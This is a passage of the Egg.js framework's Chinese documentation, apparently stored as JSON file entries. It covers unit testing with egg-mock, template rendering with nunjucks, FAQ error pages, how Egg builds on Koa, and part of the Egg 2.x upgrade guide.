SuperTest 请求 app 时，自动通过 CSRF 校验。\n\n```js\napp.mockCsrf();\nreturn app\n  .httpRequest()\n  .post('/post')\n  .type('form')\n  .send({\n    foo: 'bar',\n  })\n  .expect(200)\n  .expect({\n    foo: 'bar',\n  });\n```\n\n## Service 层的单元测试\n\nService 层相比于 Controller 层来说，测试起来更简单。我们只需要首先创建一个 `ctx`，然后通过 `ctx.service.${serviceName}` 取得 Service 实例，接着即可调用 Service 方法进行测试。\n\n例如：\n\n```js\n// app/service/user.js\nclass UserService extends Service {\n  async get(name) {\n    return await userDatabase.get(name);\n  }\n}\n\n// 单元测试代码如下：\n\ndescribe('get()', () => {\n  it('应该获取已存在的用户', async () => {\n    // 创建 ctx\n    const ctx = app.mockContext();\n    // 通过 ctx 访问 service.user\n    const user = await ctx.service.user.get('fengmk2');\n    assert(user);\n    assert(user.name === 'fengmk2');\n  });\n\n  it('当用户不存在时应返回 null', async () => {\n    const ctx = app.mockContext();\n    const user = await ctx.service.user.get('fengmk1');\n    assert(!user);\n  });\n});\n```\n\n当然，实际中的 Service 代码不会像示例中展示的这般简单，这里只是为了演示如何测试 Service。\n\n## Extend 测试\n\n应用可以对 Application、Request、Response、Context 和 Helper 进行扩展。我们可以对扩展的方法或者属性针对性的编写单元测试。\n\n### Application\n\negg-mock 创建 app 的时候，已经将 Application 的扩展自动加载到 app 实例了，直接使用这个 app 实例访问扩展的属性和方法即可进行测试。\n\n例如 `app/extend/application.js`，我们给 app 增加了一个基于 [ylru](https://github.com/node-modules/ylru) 的缓存功能：\n\n```js\nconst LRU = Symbol('Application#lru');\nconst LRUCache = require('ylru');\nmodule.exports = {\n  get lru() {\n    if (!this[LRU]) {\n      this[LRU] = new LRUCache(1000);\n    }\n    return this[LRU];\n  },\n};\n```\n\n对应的单元测试：\n\n```js\ndescribe('get lru', () => {\n  it('should get an lru and it should work', () => {\n    // 设置缓存\n    app.lru.set('foo', 'bar');\n    // 读取缓存\n    assert(app.lru.get('foo') === 'bar');\n  });\n});\n```\n\n可以看到，测试 Application 的扩展是非常容易的。\n\n### Context\n\n测试 Context 扩展只需多一个 `app.mockContext()` 步骤来模拟创建一个 Context 对象。\n\n例如在 `app/extend/context.js` 中增加一个 `isXHR` 属性，用于判断请求是否通过 [XMLHttpRequest](https://developer.mozilla.org/zh-CN/docs/Web/API/XMLHttpRequest/setRequestHeader) 发起：\n\n```js\nmodule.exports = {\n  get isXHR() {\n    return this.get('X-Requested-With') === 'XMLHttpRequest';\n  },\n};\n```\n\n对应的单元测试：\n\n```js\ndescribe('isXHR()', () => {\n  it('should be true', () => {\n    const ctx = app.mockContext({\n      headers: {\n        'X-Requested-With': 'XMLHttpRequest',\n      },\n    });\n    assert(ctx.isXHR === true);\n  });\n\n  it('should be false', () => {\n    const ctx = app.mockContext({\n      headers: {\n        'X-Requested-With': 'SuperAgent',\n      },\n    });\n    assert(ctx.isXHR === false);\n  });\n});\n```\n\n### Request\n\n通过 `ctx.request` 访问 Request 扩展的属性和方法，测试即可直接进行。\n\n例如在 `app/extend/request.js` 中增加一个 `isChrome` 属性，用于判断请求是否由 Chrome 浏览器发起：\n\n```js\nconst IS_CHROME = Symbol('Request#isChrome');\nmodule.exports = {\n  get isChrome() {\n    if (!this[IS_CHROME]) {\n      const ua = this.get('User-Agent').toLowerCase();\n      this[IS_CHROME] = ua.includes('chrome/');\n    }\n    return this[IS_CHROME];\n  },\n};\n```\n\n对应的单元测试：\n\n```js\ndescribe('isChrome()', () => {\n  it('should be true', () => {\n    const ctx = app.mockContext({\n      headers: {\n        'User-Agent': 'Chrome/56.0.2924.51',\n      },\n    });\n    assert(ctx.request.isChrome === true);\n  });\n\n  it('should be false', () => {\n    const ctx = app.mockContext({\n      headers: {\n        'User-Agent': 'FireFox/1',\n      },\n    });\n    assert(ctx.request.isChrome === false);\n  });\n});\n```\n\nResponse 测试与 Request 完全一致。\n通过 `ctx.response` 来访问 Response 扩展的属性和方法，直接即可进行测试。\n\n例如在 `app/extend/response.js` 中增加一个 `isSuccess` 属性，判断当前响应状态码是否 200：\n\n```js\nmodule.exports = {\n  get isSuccess() {\n    return this.status === 200;\n  },\n};\n```\n\n对应的单元测试：\n\n```js\ndescribe('isSuccess()', () => {\n  it('should return true when status is 200', () => {\n    const ctx = app.mockContext();\n    ctx.status = 200;\n    assert(ctx.response.isSuccess === true);\n  });\n\n  it('should return false when status is not 200', () => {\n    const ctx = app.mockContext();\n    ctx.status = 404;\n    assert(ctx.response.isSuccess === false);\n  });\n});\n```\n\nHelper 测试方式与 Service 类似，也是通过 ctx 来访问到 Helper，然后调用 Helper 方法进行测试。\n例如 `app/extend/helper.js`\n\n```js\nmodule.exports = {\n  money(val) {\n    const lang = this.ctx.get('Accept-Language');\n    if (lang.includes('zh-CN')) {\n      return `￥ ${val}`;\n    }\n    return `$ ${val}`;\n  },\n};\n```\n\n对应的单元测试：\n\n```js\ndescribe('money()', () => {\n  it('should return RMB when Accept-Language includes zh-CN', () => {\n    const ctx = app.mockContext({\n      // 模拟 ctx 的 headers\n      headers: {\n        'Accept-Language': 'zh-CN,zh;q=0.5',\n      },\n    });\n    assert(ctx.helper.money(100) === '￥ 100');\n  });\n\n  it('should return US Dollar when Accept-Language does not include zh-CN', () => {\n    const ctx = app.mockContext();\n    assert(ctx.helper.money(100) === '$ 100');\n  });\n});\n```\n\n## Mock 方法\n\n`egg-mock` 除了上面介绍过的 `app.mockContext()` 和 `app.mockCsrf()` 方法外，还提供了[非常多的 mock 方法](https://github.com/eggjs/egg-mock#api)帮助我们便捷地写单元测试。\n\n- 如果我们不想在终端 console 输出任何日志，可以通过 `mock.consoleLevel('NONE')` 来模拟。\n- 例如，我们想模拟一次请求的 Session 数据，可以通过 `app.mockSession(data)` 来模拟。\n\n  ```js\n  describe('GET /session', () => {\n    it('should mock session work', () => {\n      app.mockSession({\n        foo: 'bar',\n        uid: 123,\n      });\n      return app\n        .httpRequest()\n        .get('/session')\n        .expect(200)\n        .expect({\n          session: {\n            foo: 'bar',\n            uid: 123,\n          },\n        });\n    });\n  });\n  ```\n\n因为 mock 之后会一直生效，我们需要避免每个单元测试用例之间不能相互 mock 污染，\n所以通常我们会在 `afterEach` 钩子里面还原掉所有 mock。\n\n```ts\ndescribe('some test', () => {\n  // beforeAll hook\n\n  afterEach(() => mock.restore());\n\n  // it tests\n});\n```\n\n**使用 egg-bin 时，`@eggjs/mock/setup_vitest` 会被自动注入，它会在 `afterEach` 钩子中自动还原所有的 mock，所以不需要再次编写这部分内容。**\n\n接下来会详细解释 `egg-mock` 的常见使用场景。\n\n### Mock 属性和方法\n\n由于 `egg-mock` 是基于 [mm](https://github.com/node-modules/mm) 模块扩展的，\n它包含了 `mm` 的所有功能，因此我们可以非常方便地 mock 任意对象的属性和方法。\n\n#### Mock 一个对象的属性\n\nmock `app.config.baseDir` 的值指向 `/tmp/mockapp`。\n\n```js\nmock(app.config, 'baseDir', '/tmp/mockapp');\nassert(app.config.baseDir === '/tmp/mockapp');\n```\n\n#### Mock 一个对象的方法\n\nmock `fs.readFileSync` 方法，使其返回 `'hello world'`。\n\n```js\nmock(fs, 'readFileSync', (filename) => {\n  return 'hello world';\n});\nassert(fs.readFileSync('foo.txt') === 'hello world');\n```\n\n我们还有 `mock.data()`、`mock.error()` 等更多高级的 mock 方法。\n详细使用说明请参考 [mm API](https://github.com/node-modules/mm#api)。\n\n### Mock Service\n\nService 作为框架的标准内置对象，我们利用 `app.mockService(service, methodName, fn)` 方法来方便地模拟 Service 方法的返回值。\n\n例如，模拟 `app/service/user` 中 `get(name)` 方法，让其返回一个本来不存在的用户数据。\n\n```js\nit('should mock fengmk1 exists', () => {\n  app.mockService('user', 'get', () => {\n    return {\n      name: 'fengmk1',\n    };\n  });\n\n  return (\n    app\n      .httpRequest()\n      .get('/user?name=fengmk1')\n      .expect(200)\n      // 返回了本来不存在的用户信息\n      .expect({\n        name: 'fengmk1',\n      })\n  );\n});\n```\n\n通过 `app.mockServiceError(service, methodName, error)`，我们可以模拟 Service 方法调用时的异常情况。\n\n例如，模拟 `app/service/user` 中的 `get(name)` 方法调用时抛出异常：\n\n```js\nit('should mock service error', () => {\n  app.mockServiceError('user', 'get', 'mock user service error');\n  return (\n    app\n      .httpRequest()\n      .get('/user?name=fengmk2')\n      // 由于 service 异常，触发了 500 响应\n      .expect(500)\n      .expect(/mock user service error/)\n  );\n});\n```\n\n### Mock HttpClient\n\n框架内置了 HttpClient，应用发起的对外 HTTP 请求基本都是通过它来处理。我们可以通过 `app.mockHttpclient(url, method, data)` 来 mock 掉 `app.curl` 和 `ctx.curl` 方法，从而实现各种网络异常情况。\n\n例如在 `app/controller/home.js` 中发起了一个 curl 请求：\n\n```js\nclass HomeController extends Controller {\n  async httpclient() {\n    const res = await this.ctx.curl('https://eggjs.org');\n    this.ctx.body = res.data.toString();\n  }\n}\n```\n\n需要 mock 它的返回值：\n\n```js\ndescribe('GET /httpclient', () => {\n  it('should mock httpclient response', () => {\n    app.mockHttpclient('https://eggjs.org', {\n      // 模拟的参数，可以是 buffer / string / json，\n      // 都会转换成 buffer。\n      // 按照请求时的 options.dataType 来做对应的转换。\n      data: 'mock eggjs.org response',\n    });\n    return app\n      .httpRequest()\n      .get('/httpclient')\n      .expect('mock eggjs.org response');\n  });\n});\n```\n\n## 示例代码\n\n完整示例代码可以在 [eggjs/examples/unittest](https://github.com/eggjs/examples/blob/master/unittest) 找到。\n"
  },
  {
    "path": "site/docs/zh-CN/core/view.md",
    "content": "# View 模板渲染\n\n绝大多数情况下，我们都需要读取数据后渲染模板，然后呈现给用户。因此，我们需要引入相应的模板引擎。\n\n框架内置了 `@eggjs/view` 作为模板解决方案，支持多模板渲染。每个模板引擎均以插件方式引入，并保持渲染 API 的一致性。如想深入了解，可查看[模板插件开发](../advanced/view-plugin.md)。\n\n以下以官方支持的 View 插件 `@eggjs/view-nunjucks` 为例。\n\n## 引入 view 插件\n\n```bash\nnpm i @eggjs/view-nunjucks\n```\n\n### 启用插件\n\n```js\n// config/plugin.js\nexports.nunjucks = {\n  enable: true,\n  package: 'egg-view-nunjucks',\n};\n```\n\n## 配置插件\n\n`egg-view` 提供了 `config.view` 通用配置。\n\n### root {String}\n\n模板文件的根目录，为绝对路径，默认为 `${baseDir}/app/view`。支持配置多个目录，用逗号 `,` 分割。框架会依次从这些目录中查找文件。\n\n以下示例展示了如何配置多个 `view` 目录：\n\n```js\n// config/config.default.js\nconst path = require('path');\n\nmodule.exports = (appInfo) => {\n  const config = {};\n\n  config.view = {\n    root: [\n      path.join(appInfo.baseDir, 'app/view'),\n      path.join(appInfo.baseDir, 'path/to/another'),\n    ].join(','),\n  };\n\n  return config;\n};\n```\n\n### cache {Boolean}\n\n模板路径缓存，默认开启。框架根据 `root` 配置的目录依次查找；如果匹配成功，则会缓存文件路径，下次渲染相同路径时不会重新查找。\n\n### mapping 和 defaultViewEngine\n\n每个模板引擎在注册时会指定一个模板名（viewEngineName）。使用时，需要根据文件后缀匹配模板名，例如 `.nj` 后缀的文件使用 Nunjucks 进行渲染。\n\n```js\nmodule.exports = {\n  view: {\n    mapping: {\n      '.nj': 'nunjucks',\n    },\n  },\n};\n```\n\n调用 `render` 渲染文件时，框架会根据上述配置的后缀名寻找对应的模板引擎。\n\n```js\nawait ctx.render('home.nj');\n```\n\n必须配置文件后缀与模板引擎的映射；否则无法找到对应模板引擎。还可以使用 `defaultViewEngine` 进行全局配置。\n\n```js\n// config/config.default.js\nmodule.exports = {\n  view: {\n    defaultViewEngine: 'nunjucks',\n  },\n};\n```\n\n如果根据文件后缀没找到模板引擎，则会使用默认模板引擎渲染。对只用一种模板引擎的应用，建议配置此项。\n\n### defaultExtension\n\n一般在调用 `render` 时，第一个参数需包含文件后缀。如果配置了 `defaultExtension`，则可以省略后缀。\n\n```js\n// config/config.default.js\nmodule.exports = {\n  view: {\n    defaultExtension: '.nj',\n  },\n};\n\n// render app/view/home.nj\nawait ctx.render('home');\n```\n\n## 渲染页面\n\n框架在 Context 上提供了三个返回 Promise 的接口：\n\n- `render(name, locals)`：渲染模板文件，并赋值给 `ctx.body`\n- `renderView(name, locals)`：仅渲染模板文件，不赋值\n- `renderString(tpl, locals)`：渲染模板字符串，不赋值\n\n```js\n// {app_root}/app/controller/home.js\nclass HomeController extends Controller {\n  async index() {\n    const data = { name: 'egg' };\n\n    // render a template, path related to `app/view`\n    await ctx.render('home/index.tpl', data);\n\n    // or manually set render result to ctx.body\n    ctx.body = await ctx.renderView('path/to/file.tpl', data);\n\n    // or render string directly\n    ctx.body = await ctx.renderString('hi, {{ name }}', data, {\n      viewEngine: 'nunjucks',\n    });\n  }\n}\n```\n\n当使用 `renderString` 时需指定模板引擎。如果已定义 `defaultViewEngine`，则可省略。\n\n## 本地变量（Locals）\n\n在渲染页面的过程中，我们通常需要一个变量来收集需要传递给模板的变量，在框架里面，我们提供了 `app.locals` 和 `ctx.locals`。\n\n- `app.locals` 具有全局作用域，一般在 `app.js` 里面配置全局变量。\n- `ctx.locals` 具有请求作用域，它会合并 `app.locals` 的内容。\n- 可以直接对它们赋值对象，框架的对应 setter 将会自动进行 merge 操作。\n\n```js\n// `app.locals` 的内容会被合并到 `ctx.locals`\nctx.app.locals = { a: 1 };\nctx.locals.b = 2;\nconsole.log(ctx.locals); // 输出：{ a: 1, b: 2 }\n\n// 在一次请求中，只有在首次使用 `ctx.locals` 时才会合并 `app.locals`。\nctx.app.locals = { a: 2 };\nconsole.log(ctx.locals); // 由于已经进行过合并，结果仍然是：{ a: 1, b: 2 }\n\n// 也可以直接赋值整个对象，不必担心会覆盖前面的值。setter 已完成自动合并。\nctx.locals.c = 3;\nctx.locals = { d: 4 };\nconsole.log(ctx.locals); // 输出：{ a: 1, b: 2, c: 3, d: 4 }\n```\n\n但在实际业务开发中，控制器（controller）通常不会直接操作这两个对象，直接使用 `ctx.render(name, data)` 即可：\n\n- 框架会自动将 `data` 合并到 `ctx.locals` 中。\n- 框架会自动注入 `ctx`、`request`、`helper`，便于使用。\n\n```js\nctx.app.locals = { appName: 'showcase' };\nconst data = { name: 'egg' };\n\n// 框架会自动合并 `data` 到 `ctx.locals`，输出：egg - showcase\nawait ctx.renderString('{{ name }} - {{ appName }}', data);\n\n// `helper`、`ctx`、`request` 将被自动注入。\nawait ctx.renderString(\n  '{{ name }} - {{ helper.lowercaseFirst(ctx.app.config.baseDir) }}',\n  data,\n);\n```\n\n注意：\n\n- `ctx.locals` 有缓存，只在首次访问时合并 `app.locals`。\n- 在原生 Koa 中的 `ctx.state`，由于可能产生歧义，在框架中被覆盖为 `locals`，即 `ctx.state` 和 `ctx.locals` 相等，我们推荐使用后者。\n\n## Helper\n\n在模板中可以直接使用 `helper` 上注册的方法，具体可以参见[扩展](../basics/extend.md)。\n\n```js\n// app/extend/helper.js\nexports.lowercaseFirst = (str) => str[0].toLowerCase() + str.substring(1);\n\n// app/controller/home.js\nawait ctx.renderString('{{ helper.lowercaseFirst(name) }}', data);\n```\n\n## 安全性（Security）\n\n框架内置的 [@eggjs/security] 插件，提供了常见的安全辅助函数，包括 `helper.shtml`、`surl`、`sjs` 等，强烈建议阅读安全性相关的[文档内容](./security.md)。\n\n[@eggjs/security]: https://github.com/eggjs/egg/tree/master/plugins/security\n[@eggjs/view-nunjucks]: https://github.com/eggjs/egg/tree/master/plugins/view-nunjucks\n[@eggjs/view]: https://github.com/eggjs/egg/tree/master/plugins/view\n"
  },
  {
    "path": "site/docs/zh-CN/faq/TEGG_EGG_PROTO_NOT_FOUND.md",
    "content": "# TEGG_EGG_PROTO_NOT_FOUND\n\n## 问题\n\n```bash\nframework.EggPrototypeNotFound: Object foo not found in LOAD_UNIT:appPort\n```\n\n## 原因\n\n未在当前 Egg Module 中找到对应的 Proto，导致注入失败。\n\n## 解决方法\n\n1. 确保在当前 Module 中定义了对应的 Proto。\n2. 确保 Proto 的访问级别为 `AccessLevel.PUBLIC`。\n3. 确保 Proto 的名称正确。\n4. 确保 Proto 的实例化方式正确。\n5. 确保 Proto 的实例化名称正确。\n6. 确保 Proto 的实例化访问级别正确。\n7. 确保 Proto 的实例化实例化名称正确。\n\n## 示例\n\n```ts\nimport { SingletonProto, AccessLevel } from 'egg';\n\n@SingletonProto({\n  // 确保 Proto 的访问级别为 PUBLIC\n  accessLevel: AccessLevel.PUBLIC, // [!code focus]\n})\nexport class Foo {\n  async bar(): Promise<string> {\n    return 'bar';\n  }\n}\n```\n"
  },
  {
    "path": "site/docs/zh-CN/faq/TEGG_ROUTER_CONFLICT.md",
    "content": "# TEGG_ROUTER_CONFLICT\n\n## 问题\n\n```bash\nframework.RouterConflictError: register http controller GET AppController2.get failed, GET /apps/:id is conflict with exists rule /apps/:id\n```\n\n## 原因\n\n路由冲突。\n\n## 解决方法\n\n1. 确保路由规则唯一。\n2. 确保路由规则正确。\n\n## 示例\n\nAppController.get 和 AppController2.get 都定义了 /apps/:id 路由，导致路由冲突。\n\n```ts\n@Controller('/apps') // [!code focus]\nexport class AppController {\n  @Get('/:id') // [!code focus]\n  async get(@Param('id') id: string) {\n    return this.app.apps.get(id);\n  }\n}\n```\n\n```ts\n@Controller('/apps') // [!code focus]\nexport class AppController2 {\n  @Get('/:id') // [!code focus]\n  async get(@Param('id') id: string) {\n    return this.app.apps.get(id);\n  }\n}\n```\n"
  },
  {
    "path": "site/docs/zh-CN/faq/index.md",
    "content": "# 常见错误\n\n- [TEGG_EGG_PROTO_NOT_FOUND](TEGG_EGG_PROTO_NOT_FOUND.md)\n- [TEGG_ROUTER_CONFLICT](TEGG_ROUTER_CONFLICT.md)\n"
  },
  {
    "path": "site/docs/zh-CN/index.md",
    "content": "---\nlayout: home\n\nhero:\n  name: Egg\n  text: Born to build\n  tagline: 为企业级框架和应用而生 - Node.js & Koa\n  image:\n    src: /logo.svg\n    alt: Egg Logo\n  actions:\n    - theme: brand\n      text: 开始使用\n      link: /zh-CN/intro/quickstart\n    - theme: alt\n      text: GitHub\n      link: https://github.com/eggjs/egg\n\nfeatures:\n  - icon:\n      src: /img_egg/icon-3.png\n      width: 136\n    title: 完善的生态\n    details: 基于开源生态,专为泛蚂蚁生态定制,一分钟接入后端服务中间件,支持多种部署环境。\n\n  - icon:\n      src: /img_egg/icon-4.png\n      width: 136\n    title: 高效自然的研发体验\n    details: 渐进式开发,学习曲线平滑,提供一站式开发套件,为研发全流程保驾护航。\n\n  - icon:\n      src: /img_egg/icon-2.png\n      width: 136\n    title: 高质量、可信赖\n    details: 高质量,完备的测试,内置集团安全策略,双十一等线上大规模顶级流量压力考验。\n\n  - icon:\n      src: /img_egg/icon-1.png\n      width: 136\n    title: 灵活、高扩展性\n    details: 约定优于配置,高度灵活的定制性,业界领先的插件机制和上层业务框架机制。\n---\n\n## 我们正在招聘!\n\nEgg.js 正在招聘优秀的开发者。[了解更多 →](https://zhuanlan.zhihu.com/p/598748057)\n"
  },
  {
    "path": "site/docs/zh-CN/intro/egg-and-koa.md",
    "content": "# Egg.js 与 Koa\n\n## 异步编程模型\n\nNode.js 是一个异步的世界，官方 API 支持的都是 callback 形式的异步编程模型，这带来了许多问题，例如：\n\n- [callback hell](http://callbackhell.com/)：最臭名昭著的 callback 嵌套问题。\n- [release zalgo](https://oren.github.io/#/articles/zalgo/)：异步函数中可能同步调用 callback 返回数据，导致不一致性。\n\n因此，社区提供了各种异步的解决方案。最终，Promise 胜出，并内置到了 ECMAScript 2015 中。基于 Promise 和 Generator 提供的切换上下文能力，出现了 [co] 等第三方类库，让我们以同步的写法来编写异步代码。同时，[async function] 这个官方解决方案也在 ECMAScript 2017 中发布，并在 Node.js 8 中得到实现。\n\n### async function\n\n[async function] 是语言层面提供的语法糖。在 async function 中，我们可通过 `await` 关键字等待一个 Promise 被 resolve（或 reject，在此情况下会抛出异常）。\n\nNode.js 现在的 LTS 版本（8.x）已原生支持 async function。\n\n```js\nconst fn = async function () {\n  const user = await getUser();\n  const posts = await fetchPosts(user.id);\n  return { user, posts };\n};\nfn()\n  .then((res) => console.log(res))\n  .catch((err) => console.error(err.stack));\n```\n\n## Koa\n\n> [Koa](https://koajs.com/) 是一个新的 web 框架，由 Express 幕后的原班人马打造，致力于成为 web 应用和 API 开发领域中的更小、更富有表现力、更健壮的基础设施。\n\nKoa 和 Express 的设计风格十分相似，底层也都是共用[同一套 HTTP 基础库](https://github.com/jshttp)。但它们存在几个明显的区别。除了上面提到的默认异步解决方案之外，Koa 的主要特点还包括以下几个：\n\n### Middleware\n\nKoa 的中间件和 Express 不同，Koa 选择了洋葱圈模型。\n\n- 中间件洋葱图：\n\n![](https://camo.githubusercontent.com/d80cf3b511ef4898bcde9a464de491fa15a50d06/68747470733a2f2f7261772e6769746875622e636f6d2f66656e676d6b322f6b6f612d67756964652f6d61737465722f6f6e696f6e2e706e67)\n\n- 中间件执行顺序图：\n\n![](https://raw.githubusercontent.com/koajs/koa/a7b6ed0529a58112bac4171e4729b8760a34ab8b/docs/middleware.gif)\n\n每个请求在经过一个中间件时都会执行两次，与 Express 形式的中间件相对，Koa 的模型可以方便地实现后置处理逻辑。比较 Koa 与 Express 的 Compress 中间件，便可明显感受到 Koa 中间件模型的优势。\n\n- [koa-compress](https://github.com/koajs/compress/blob/master/lib/index.js) for Koa。\n- [compression](https://github.com/expressjs/compression/blob/master/index.js) for Express。\n\n### Context\n\n与 Express 只有 Request 和 Response 两个对象不同，Koa 增加了一个 Context 对象，作为该次请求的上下文对象（在 Koa 1 中为中间件的 `this`，在 Koa 2 中作为中间件的第一个参数传入）。我们可将一次请求相关的上下文全部挂载至此对象上。例如，[traceId](https://github.com/eggjs/egg-tracer/blob/1.0.0/lib/tracer.js#L12) 这种需贯穿整个请求（之后在任何地方进行其他调用都需使用）的属性便可挂载上去。这比单独的 request 和 response 对象更加符合语义。\n\n同时，Context 上也挂载了 Request 和 Response 两个对象。和 Express 类似，两者都提供了许多便捷方法，辅助开发。例如：\n\n- `get request.query`\n- `get request.hostname`\n- `set response.body`\n- `set response.status`\n\n### 异常处理\n\n通过同步方式编写异步代码的另一个很大好处是，异常处理变得非常自然。我们可以使用 `try catch` 来捕获规范编写代码中的所有错误，从而非常容易地编写自定义的错误处理中间件。\n\n```js\nasync function onerror(ctx, next) {\n  try {\n    await next();\n  } catch (err) {\n    ctx.app.emit('error', err);\n    ctx.body = 'server error';\n    ctx.status = err.status || 500;\n  }\n}\n\n只需将此中间件放在其他中间件前，便可捕获所有同步或异步代码中抛出的异常。\n```\n\n## Egg 继承于 Koa\n\n如上所述，Koa 是一个非常优秀的框架。然而，对于企业级应用来说，它还比较基础。\n\n而 Egg 选择了 Koa 作为其基础框架，在它的模型基础上，对其进行了进一步的增强。\n\n### 扩展\n\n在基于 Egg 的框架或者应用中，我们可以通过定义 `app/extend/{application,context,request,response}.js` 来扩展 Koa 中对应的四个对象的原型。通过这个功能，我们可以快速增加更多的辅助方法。举例，我们在 `app/extend/context.js` 中写入以下代码：\n\n```javascript\n// app/extend/context.js\nmodule.exports = {\n  get isIOS() {\n    const iosReg = /iphone|ipad|ipod/i;\n    return iosReg.test(this.get('user-agent'));\n  },\n};\n```\n\n在 Controller 中，我们就可以使用刚才定义的这个便捷属性了：\n\n```javascript\n// app/controller/home.js\nexports.handler = (ctx) => {\n  ctx.body = ctx.isIOS\n    ? 'Your operating system is iOS.'\n    : 'Your operating system is not iOS.';\n};\n```\n\n更多关于扩展的内容，请查看[扩展](../basics/extend.md)章节。\n\n### 插件\n\n众所周知，在 Express 和 Koa 中，我们经常会引入众多中间件来提供各种功能，如引入 [koa-session](https://github.com/koajs/session) 提供 Session 支持，引入 [koa-bodyparser](https://github.com/koajs/bodyparser) 解析请求体。Egg 提供了强大的插件机制，让这些独立领域的功能模块更易于编写。\n\n一个插件可以包含：\n\n- extend：扩展基础对象的上下文，提供工具类、属性等。\n- middleware：加入一个或多个中间件，提供请求的前置、后置逻辑处理。\n- config：配置不同环境下插件的默认配置项。\n\n在一个独立领域下实现的插件，可以在维护性非常高的情况下提供完善的功能。插件还支持配置各个环境下的默认（最佳）配置，使得使用插件时几乎无需修改配置项。\n\n[@eggjs/security](https://github.com/eggjs/security) 插件是一个典型的例子。\n\n更多关于插件的内容，请查看[插件](../basics/plugin.md)章节。\n\n### Egg 与 Koa 的版本关系\n\n#### Egg 1.x\n\nEgg 1.x 发布时，Node.js 的 LTS 版本尚不支持 `async function`，因此 Egg 1.x 基于 Koa 1.x 开发。在此基础上，Egg 全面增加了对 `async function` 的支持。再加上 Egg 对 Koa 2.x 的中间件完全兼容，应用层代码可以完全基于 `async function` 开发。\n\n- 底层基于 Koa 1.x，异步解决方案基于 [co] 封装的 generator function。\n- Egg 核心和官方插件使用 generator function 编写，通过 co 包装兼容 async function。\n- 开发者可以根据 Node.js 版本选择使用 async function 或 generator function。\n\n#### Egg 2.x\n\nNode.js 8 正式进入 LTS 后，`async function` 在 Node.js 中无性能问题，Egg 2.x 基于 Koa 2.x 开发。框架底层和所有内置插件都采用 `async function` 编写，对 Egg 1.x 和 generator function 保持完全兼容。应用层只需升级到 Node.js 8，即可从 Egg 1.x 迁移到 Egg 2.x。\n\n- 底层基于 Koa 2.x，异步解决方案采用 async function。\n- Egg 核心和官方插件使用 async function 编写。\n- 建议业务层迁移到 async function 解决方案。\n- 仅支持 Node.js 8 及以上版本。\n\n[co]: https://github.com/tj/co\n[async function]: https://github.com/tc39/ecmascript-asyncawait\n"
  },
  {
    "path": "site/docs/zh-CN/intro/migration.md",
    "content": "# Egg@2 升级指南\n\n## 背景\n\n随着 Node.js 8 LTS 的发布，内建了对 ES2017 Async Function 的支持。\n\n在这之前，TJ 的 [co] 使我们可以提前享受到 `async/await` 的编程体验，但同时它不可避免地也带来了一些问题：\n\n- 性能损失\n- [错误堆栈不友好](https://github.com/eggjs/egg/wiki/co-vs-async)\n\n现在，Egg 正式发布了 2.x 版本：\n\n- 保持了对 Egg 1.x 以及 `generator function` 的**完全兼容**。\n- 基于 Koa 2.x，异步解决方案基于 `async function`。\n- 只支持 Node.js 8 及以上版本。\n- 去除 [co] 后堆栈信息更清晰，带来 30% 左右的性能提升（不含 Node 带来的性能提升），详细参见：[benchmark](https://eggjs.github.io/benchmark/plot/)。\n\nEgg 的理念之一是“渐进式增强”，故我们为开发者提供“渐进升级”的体验。\n\n- [快速升级](#快速升级)\n- [插件变更说明](#插件变更说明)\n- [进一步升级](#进一步升级)\n- [针对“插件开发者”的升级指南](#插件升级)\n\n## 快速升级\n\n- Node.js 使用最新的 LTS 版本（`>= 8.9.0`）。\n- 修改 `package.json` 中 `egg` 的依赖为 `^2.0.0`。\n- 检查相关插件是否发布新版本（可选）。\n- 重新安装依赖，跑单元测试。\n\n**搞定！几乎不需要修改任何一行代码，就已经完成了升级。**\n\n## 插件变更说明\n\n### egg-multipart\n\n`yield parts` 需修改为 `await parts()` 或 `yield parts()`。\n\n```js\n// 旧代码\nconst parts = ctx.multipart();\nlet part;\nwhile ((part = yield parts) != null) {\n  // do something\n}\n\n// yield parts() 也可以工作\nwhile ((part = yield parts()) != null) {\n  // do something\n}\n\n// 新代码\nconst parts = ctx.multipart();\nwhile ((part = await parts()) != null) {\n  // do something\n}\n```\n\n- [egg-multipart#upload-multiple-files](https://github.com/eggjs/multipart#upload-multiple-files)\n\n### egg-userrole\n\n不再兼容 1.x 形式的 role 定义，因为 koa-roles 已经无法兼容了。请求上下文 `Context` 从 `this` 传入改成了第一个参数 `ctx` 传入，原有的 `scope` 变成了第二个参数。\n\n```js\n// 旧代码\napp.role.use('user', function () {\n  return !!this.user;\n});\n\n// 新代码\napp.role.use((ctx, scope) => {\n  return !!ctx.user;\n});\n\napp.role.use('user', (ctx) => {\n  return !!ctx.user;\n});\n```\n\n- [koajs/koa-roles#13](https://github.com/koajs/koa-roles/pull/13)\n- [eggjs/egg-userrole#9](https://github.com/eggjs/egg-userrole/pull/9)\n\n## 进一步升级\n\n得益于 Egg 对 1.x 的**完全兼容**，我们可以非常快速地完成升级。\n\n不过，为了更好地统一代码风格，以及更佳的性能和错误堆栈，我们建议开发者进一步升级：\n\n- 修改为推荐的代码风格，传送门：[代码风格指南](../community/style-guide.md)\n- [中间件使用 Koa2 风格](#中间件使用-Koa2-风格)\n- [将 `yieldable` 函数调用转为 `awaitable`](#yieldable-to-awaitable)\n\n### 中间件使用 Koa2 风格\n\n> 2.x 仍然保持对 1.x 风格的中间件的兼容，故不修改也能继续使用。\n\n- 返回的函数入参改为 Koa 2 的 `(ctx, next)` 风格。\n  - 第一个参数为 `ctx`，代表当前请求的上下文，是 [Context](../basics/extend.md#Context) 的实例。\n  - 第二个参数为 `next`，用 `await` 执行它来进行后续中间件的处理。\n- 不建议使用 `async (ctx, next) => {}` 格式，避免错误堆栈丢失函数名。\n- `yield next` 改为函数调用 `await next()` 的方式。\n\n```js\n// 1.x\nmodule.exports = () => {\n  return function* responseTime(next) {\n    const start = Date.now();\n    yield next;\n    const delta = Math.ceil(Date.now() - start);\n    this.set('X-Response-Time', delta + 'ms');\n  };\n};\n\n// 2.x\nmodule.exports = () => {\n  return async function responseTime(ctx, next) {\n    const start = Date.now();\n    // 注意，与 generator function 格式的中间件不同，next 是一个方法，必须调用它\n    await next();\n    const delta = Math.ceil(Date.now() - start);\n    ctx.set('X-Response-Time', delta + 'ms');\n  };\n};\n```\n\n### yieldable 到 awaitable 的转换\n\n> 我们在 Egg 1.x 版本时就已经支持了 async，所以如果应用层已经是基于 async 的话，可以跳过这个小节。\n\n[co] 支持了 `yieldable` 兼容类型：\n\n- promises\n- array（并行执行）\n- objects（并行执行）\n- thunks（函数）\n- generators（委托）\n- generator 函数（委托）\n\n尽管 `generator` 和 `async` 